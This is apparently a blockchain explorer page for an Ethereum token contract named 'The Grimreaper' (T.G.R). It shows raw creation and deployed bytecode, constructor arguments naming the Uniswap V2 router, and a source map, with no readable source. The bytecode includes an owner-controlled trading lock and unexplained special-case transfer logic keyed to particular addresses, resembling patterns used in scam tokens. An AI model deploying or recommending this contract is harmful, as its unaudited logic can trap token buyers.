ffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006002826115df919061200f565b905060004790506115f08230611611565b600081476115fe9190611d6c565b905061160b838230611850565b50505050565b6000600267ffffffffffffffff81111561162e5761162d6120d2565b5b60405190808252806020026020018201604052801561165c5781602001602082028036833780820191505090505b509050308160008151811061167457611673612101565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611719573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061173d9190612145565b8160018151811061175157611750612101565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506117b6307f0000000000000000000000000000000000000000000000000000000000000000856109b9565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426040518663ffffffff1660e01b815260040161181995949392919061226b565b600060405180830381600087803b15801561183357600080fd5b505af1158015611847573d6000803e3d6000fd5b50505050505050565b61187b307f0000000000000000000000000000000000000000000000000000000000000000856109b9565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b81526004016118e1969594939291906122c5565b60606040518083038185885af11580156118ff573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611924919061233b565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561196657808201518184015260208101905061194b565b83811115611975576000848401525b50505050565b6000601f19601f8301169050919050565b60006119978261192c565b6119a18185611937565b93506119b1818560208601611948565b6119ba8161197b565b840191505092915050565b600060208201905081810360008301526119df818461198c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611a17826119ec565b9050919050565b611a2781611a0c565b8114611a3257600080fd5b50565b600081359050611a4481611a1e565b92915050565b6000819050919050565b611a5d81611a4a565b8114611a6857600080fd5b50565b600081359050611a7a81611a54565b92915050565b60008060408385031215611a9757611a966119e7565b5b6000611aa585828601611a35565b9250506020611ab685828601611a6b565b9150509250929050565b60008115159050919050565b611ad581611ac0565b82525050565b6000602082019050611af06000830184611acc565b92915050565b611aff81611a4a565b82525050565b6000602082019050611b1a6000830184611af6565b92915050565b600080600060608486031215611b3957611b386119e7565b5b6000611b4786828701611a35565b9350506020611b5886828701611a35565b9250506040611b6986828701611a6b565b9150509250925092565b611b7c81611ac0565b8114611b8757600080fd5b50565b600081359050611b9981611b73565b92915050565b600060208284031215611bb557611bb46119e7565b5b6000611bc384828501611b8a565b91505092915050565b6000819050919050565b6000611bf1611bec611be7846119ec565b611bcc565b6119ec565b9050919050565b6000611c0382611bd6565b9050919050565b6000611c1582611bf8565b9050919050565b611c2581611c0a565b82525050565b6000602082019050611c406000830184611c1c565b92915050565b600060208284031215611c5c57611c5b6119e7565b5b6000611c6a84828501611a35565b91505092915050565b611c7c81611a0c565b82525050565b6000602082019050611c976000830184611c73565b92915050565b60008060408385031215611cb457611cb36119e7565b5b6000611cc285828601611a35565b9250506020611cd385828601611a35565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611d2457607f821691505b602082108103611d3757611d36611cdd565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611d7782611a4a565b9150611d8283611a4a565b925082821015611d9557611d94611d3d565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611dd6602083611937565b9150611de182611da0565b602082019050919050565b60006020820190508181036000830152611e0581611dc9565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611e68602683611937565b9150611e7382611e0c565b604082019050919050565b60006020820190508181036000830152611e9781611e5b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611efa602483611937565b9150611f0582611e9e565b604082019050919050565b60006020820190508181036000830152611f2981611eed565b9050919050565b6000611f3b82611a4a565b9150611f4683611a4a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611f7b57611f7a611d3d565b5b828201905092915050565b6000611f9182611a4a565b9150611f9c83611a4a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611fd557611fd4611d3d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061201a82611a4a565b915061202583611a4a565b92508261203557612034611fe0565b5b828204905092915050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b600061209c603f83611937565b91506120a782612040565b604082019050919050565b600060208201905081810360008301526120cb8161208f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061213f81611a1e565b92915050565b60006020828403121561215b5761215a6119e7565b5b600061216984828501612130565b91505092915050565b6000819050919050565b600061219761219261218d84612172565b611bcc565b611a4a565b9050919050565b6121a78161217c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6121e281611a0c565b82525050565b60006121f483836121d9565b60208301905092915050565b6000602082019050919050565b6000612218826121ad565b61222281856121b8565b935061222d836121c9565b8060005b8381101561225e57815161224588826121e8565b975061225083612200565b925050600181019050612231565b5085935050505092915050565b600060a0820190506122806000830188611af6565b61228d602083018761219e565b818103604083015261229f818661220d565b90506122ae6060830185611c73565b6122bb6080830184611af6565b9695505050505050565b600060c0820190506122da6000830189611c73565b6122e76020830188611af6565b6122f4604083018761219e565b612301606083018661219e565b61230e6080830185611c73565b61231b60a0830184611af6565b979650505050505050565b60008151905061233581611a54565b92915050565b600080600060608486031215612354576123536119e7565b5b600061236286828701612326565b935050602061237386828701612326565b925050604061238486828701612326565b915050925092509256fea2646970667358221220a5ea1c1eafe89397405055b763376953727ff0b1b6b321c282cd097835d3fb2564736f6c634300080e0033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000000000000000000000000000000000000000000e546865204772696d7265617065720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005542e472e52000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610332578063d20c50d51461036f578063dd62ed3e1461039a578063e2f45605146103d7578063f2fde38b1461040257610109565b806370a0823114610288578063715018a6146102c55780638da5cb5b146102dc57806395d89b411461030757610109565b806323b872dd116100d157806323b872dd146101cc5780632a9b807214610209578063313ce56714610232578063471a65c41461025d57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd146101765780631a8734fe146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b5061012361042b565b60405161013091906119c5565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190611a80565b6104bd565b60405161016d9190611adb565b60405180910390f35b34801561018257600080fd5b5061018b6104d2565b6040516101989190611b05565b60405180910390f35b3480156101ad57600080fd5b506101b66104dc565b6040516101c39190611b05565b60405180910390f35b3480156101d857600080fd5b506101f360048036038101906101ee9190611b20565b6104e2565b6040516102009190611adb565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190611b9f565b61058a565b005b34801561023e57600080fd5b50610247610623565b6040516102549190611b05565b60405180910390f35b34801561026957600080fd5b5061027261063d565b60405161027f9190611c2b565b60405180910390f35b34801561029457600080fd5b506102af60048036038101906102aa9190611c46565b610661565b6040516102bc9190611b05565b60405180910390f35b3480156102d157600080fd5b506102da6106aa565b005b3480156102e857600080fd5b506102f1610732565b6040516102fe9190611c82565b60405180910390f35b34801561031357600080fd5b5061031c61075b565b60405161032991906119c5565b60405180910390f35b34801561033e57600080fd5b5061035960048036038101906103549190611a80565b6107ed565b6040516103669190611adb565b60405180910390f35b34801561037b57600080fd5b50610384610804565b6040516103919190611c82565b60405180910390f35b3480156103a657600080fd5b506103c160048036038101906103bc9190611c9d565b610828565b6040516103ce9190611b05565b60405180910390f35b3480156103e357600080fd5b506103ec6108af565b6040516103f99190611adb565b60405180910390f35b34801561040e57600080fd5b5061042960048036038101906104249190611c46565b6108c2565b005b60606002805461043a90611d0c565b80601f016020809104026020016040519081016040528092919081815260200182805461046690611d0c565b80156104b35780601f10610488576101008083540402835291602001916104b3565b820191906000526020600020905b81548152906001019060200180831161049657829003601f168201915b5050505050905090565b60006104ca3384846109b9565b905092915050565b6000600554905090565b60035481565b60006104ef848484610b54565b610581843384600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461057c9190611d6c565b6109b9565b90509392505050565b610592611504565b73ffffffffffffffffffffffffffffffffffffffff166105b0610732565b73ffffffffffffffffffffffffffffffffffffffff1614610606576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fd90611dec565b60405180910390fd5b80600c60006101000a81548160ff02191690831515021790555050565b6000600460009054906101000a900460ff1660ff16905090565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106b2611504565b73ffffffffffffffffffffffffffffffffffffffff166106d0610732565b73ffffffffffffffffffffffffffffffffffffffff1614610726576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071d90611dec565b60405180910390fd5b610730600061150c565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606001805461076a90611d0c565b80601f016020809104026020016040519081016040528092919081815260200182805461079690611d0c565b80156107e35780601f106107b8576101008083540402835291602001916107e3565b820191906000526020600020905b8154815290600101906020018083116107c657829003601f168201915b5050505050905090565b60006107fa338484610b54565b6001905092915050565b7f000000000000000000000000865615ddd22e9083c90ad776d2e8f861a205eec581565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c60019054906101000a900460ff1681565b6108ca611504565b73ffffffffffffffffffffffffffffffffffffffff166108e8610732565b73ffffffffffffffffffffffffffffffffffffffff161461093e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093590611dec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a490611e7e565b60405180910390fd5b6109b68161150c565b50565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a245750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610a63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5a90611f10565b60405180910390fd5b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b419190611b05565b60405180910390a3600190509392505050565b6000610b5f30610661565b90506000600c60019054906101000a900460ff168015610b80575060065482115b8015610b995750600c60029054906101000a900460ff16155b8015610bf157507f000000000000000000000000865615ddd22e9083c90ad776d2e8f861a205eec573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610c3a576001600c60026101000a81548160ff021916908315150217905550610c1a826115d0565b6000600c60026101000a81548160ff02191690831515021790555061101f565b600654600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610cca5750600654600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610d395782905080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d219190611f30565b92505081905550610d328385611611565b50506114ff565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610dd457506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610de1575060065483115b8015610e3957507f000000000000000000000000865615ddd22e9083c90ad776d2e8f861a205eec573ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610e895782600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050506114ff565b600c60029054906101000a900460ff16158015610ee557506000600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610f3d57507f000000000000000000000000865615ddd22e9083c90ad776d2e8f861a205eec573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610f8857506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561101e57600654600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fda9190611d6c565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600860007f000000000000000000000000865615ddd22e9083c90ad776d2e8f861a205eec573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361113157600654600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84600860007f000000000000000000000000865615ddd22e9083c90ad776d2e8f861a205eec573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060035411801561122057506000600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156112395750600c60029054906101000a900460ff16155b801561128457506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15611360576064600354856112999190611f86565b6112a3919061200f565b915081846112b19190611d6c565b935081600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113029190611d6c565b9250508190555081600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113589190611f30565b925050819055505b83600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113af9190611d6c565b9250508190555083600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114059190611f30565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516114699190611b05565b60405180910390a3600c60009054906101000a900460ff166114fb5761148d610732565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16146114fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f1906120b2565b60405180910390fd5b5b5050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006002826115df919061200f565b905060004790506115f08230611611565b600081476115fe9190611d6c565b905061160b838230611850565b50505050565b6000600267ffffffffffffffff81111561162e5761162d6120d2565b5b60405190808252806020026020018201604052801561165c5781602001602082028036833780820191505090505b509050308160008151811061167457611673612101565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611719573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061173d9190612145565b8160018151811061175157611750612101565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506117b6307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856109b9565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426040518663ffffffff1660e01b815260040161181995949392919061226b565b600060405180830381600087803b15801561183357600080fd5b505af1158015611847573d6000803e3d6000fd5b50505050505050565b61187b307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856109b9565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b81526004016118e1969594939291906122c5565b60606040518083038185885af11580156118ff573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611924919061233b565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561196657808201518184015260208101905061194b565b83811115611975576000848401525b50505050565b6000601f19601f8301169050919050565b60006119978261192c565b6119a18185611937565b93506119b1818560208601611948565b6119ba8161197b565b840191505092915050565b600060208201905081810360008301526119df818461198c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611a17826119ec565b9050919050565b611a2781611a0c565b8114611a3257600080fd5b50565b600081359050611a4481611a1e565b92915050565b6000819050919050565b611a5d81611a4a565b8114611a6857600080fd5b50565b600081359050611a7a81611a54565b92915050565b60008060408385031215611a9757611a966119e7565b5b6000611aa585828601611a35565b9250506020611ab685828601611a6b565b9150509250929050565b60008115159050919050565b611ad581611ac0565b82525050565b6000602082019050611af06000830184611acc565b92915050565b611aff81611a4a565b82525050565b6000602082019050611b1a6000830184611af6565b92915050565b600080600060608486031215611b3957611b386119e7565b5b6000611b4786828701611a35565b9350506020611b5886828701611a35565b9250506040611b6986828701611a6b565b9150509250925092565b611b7c81611ac0565b8114611b8757600080fd5b50565b600081359050611b9981611b73565b92915050565b600060208284031215611bb557611bb46119e7565b5b6000611bc384828501611b8a565b91505092915050565b6000819050919050565b6000611bf1611bec611be7846119ec565b611bcc565b6119ec565b9050919050565b6000611c0382611bd6565b9050919050565b6000611c1582611bf8565b9050919050565b611c2581611c0a565b82525050565b6000602082019050611c406000830184611c1c565b92915050565b600060208284031215611c5c57611c5b6119e7565b5b6000611c6a84828501611a35565b91505092915050565b611c7c81611a0c565b82525050565b6000602082019050611c976000830184611c73565b92915050565b60008060408385031215611cb457611cb36119e7565b5b6000611cc285828601611a35565b9250506020611cd385828601611a35565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611d2457607f821691505b602082108103611d3757611d36611cdd565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611d7782611a4a565b9150611d8283611a4a565b925082821015611d9557611d94611d3d565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611dd6602083611937565b9150611de182611da0565b602082019050919050565b60006020820190508181036000830152611e0581611dc9565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611e68602683611937565b9150611e7382611e0c565b604082019050919050565b60006020820190508181036000830152611e9781611e5b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611efa602483611937565b9150611f0582611e9e565b604082019050919050565b60006020820190508181036000830152611f2981611eed565b9050919050565b6000611f3b82611a4a565b9150611f4683611a4a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611f7b57611f7a611d3d565b5b828201905092915050565b6000611f9182611a4a565b9150611f9c83611a4a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611fd557611fd4611d3d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061201a82611a4a565b915061202583611a4a565b92508261203557612034611fe0565b5b828204905092915050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b600061209c603f83611937565b91506120a782612040565b604082019050919050565b600060208201905081810360008301526120cb8161208f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061213f81611a1e565b92915050565b60006020828403121561215b5761215a6119e7565b5b600061216984828501612130565b91505092915050565b6000819050919050565b600061219761219261218d84612172565b611bcc565b611a4a565b9050919050565b6121a78161217c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6121e281611a0c565b82525050565b60006121f483836121d9565b60208301905092915050565b6000602082019050919050565b6000612218826121ad565b61222281856121b8565b935061222d836121c9565b8060005b8381101561225e57815161224588826121e8565b975061225083612200565b925050600181019050612231565b5085935050505092915050565b600060a0820190506122806000830188611af6565b61228d602083018761219e565b818103604083015261229f818661220d565b90506122ae6060830185611c73565b6122bb6080830184611af6565b9695505050505050565b600060c0820190506122da6000830189611c73565b6122e76020830188611af6565b6122f4604083018761219e565b612301606083018661219e565b61230e6080830185611c73565b61231b60a0830184611af6565b979650505050505050565b60008151905061233581611a54565b92915050565b600080600060608486031215612354576123536119e7565b5b600061236286828701612326565b935050602061237386828701612326565b925050604061238486828701612326565b915050925092509256fea2646970667358221220a5ea1c1eafe89397405055b763376953727ff0b1b6b321c282cd097835d3fb2564736f6c634300080e0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000000000000000000000000000000000000000000e546865204772696d7265617065720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005542e472e52000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : Name (string): The Grimreaper
Arg [1] : Symbol (string): T.G.R
Arg [2] : UniswapV2routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000e
Arg [4] : 546865204772696d726561706572000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [6] : 542e472e52000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
9932:6761:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11499:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12035:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11588:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10029:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12536:289;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16184:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11688:85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10714:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11919:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9454:94;;;;;;;;;;;;;:::i;:::-;;9235:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11406;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12831:174;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10669:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11779:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10597:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9554:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11499:83;11536:13;11569:5;11562:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11499:83;:::o;12035:137::-;12103:4;12127:37;12136:10;12148:7;12157:6;12127:8;:37::i;:::-;12120:44;;12035:137;;;;:::o;11588:94::-;11632:7;11659:15;;11652:22;;11588:94;:::o;10029:30::-;;;;:::o;12536:289::-;12661:4;12678:51;12703:6;12711:9;12722:6;12678:16;:51::i;:::-;12747:70;12756:6;12764:10;12810:6;12776:11;:19;12788:6;12776:19;;;;;;;;;;;;;;;:31;12796:10;12776:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;12747:8;:70::i;:::-;12740:77;;12536:289;;;;;:::o;16184:102::-;9379:12;:10;:12::i;:::-;9368:23;;:7;:5;:7::i;:::-;:23;;;9360:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16266:12:::1;16252:11;;:26;;;;;;;;;;;;;;;;;;16184:102:::0;:::o;11688:85::-;11729:7;11756:9;;;;;;;;;;;11749:16;;;;11688:85;:::o;10714:51::-;;;:::o;11919:110::-;11976:7;12003:9;:18;12013:7;12003:18;;;;;;;;;;;;;;;;11996:25;;11919:110;;;:::o;9454:94::-;9379:12;:10;:12::i;:::-;9368:23;;:7;:5;:7::i;:::-;:23;;;9360:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9519:21:::1;9537:1;9519:9;:21::i;:::-;9454:94::o:0;9235:87::-;9281:7;9308:6;;;;;;;;;;;9301:13;;9235:87;:::o;11406:::-;11445:13;11478:7;11471:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11406:87;:::o;12831:174::-;12903:4;12920:55;12945:10;12957:9;12968:6;12920:16;:55::i;:::-;12993:4;12986:11;;12831:174;;;;:::o;10669:38::-;;;:::o;11779:134::-;11851:7;11878:11;:18;11890:5;11878:18;;;;;;;;;;;;;;;:27;11897:7;11878:27;;;;;;;;;;;;;;;;11871:34;;11779:134;;;;:::o;10597:30::-;;;;;;;;;;;;;:::o;9554:192::-;9379:12;:10;:12::i;:::-;9368:23;;:7;:5;:7::i;:::-;:23;;;9360:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9663:1:::1;9643:22;;:8;:22;;::::0;9635:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;9719:19;9729:8;9719:9;:19::i;:::-;9554:192:::0;:::o;12178:352::-;12295:4;12337:1;12320:19;;:5;:19;;;;:44;;;;;12362:1;12343:21;;:7;:21;;;;12320:44;12312:93;;;;;;;;;;;;:::i;:::-;;;;;;;;;12446:6;12416:11;:18;12428:5;12416:18;;;;;;;;;;;;;;;:27;12435:7;12416:27;;;;;;;;;;;;;;;:36;;;;12484:7;12468:32;;12477:5;12468:32;;;12493:6;12468:32;;;;;;:::i;:::-;;;;;;;;12518:4;12511:11;;12178:352;;;;;:::o;13011:2465::-;13170:26;13199:24;13217:4;13199:9;:24::i;:::-;13170:53;;13234:24;13273:18;;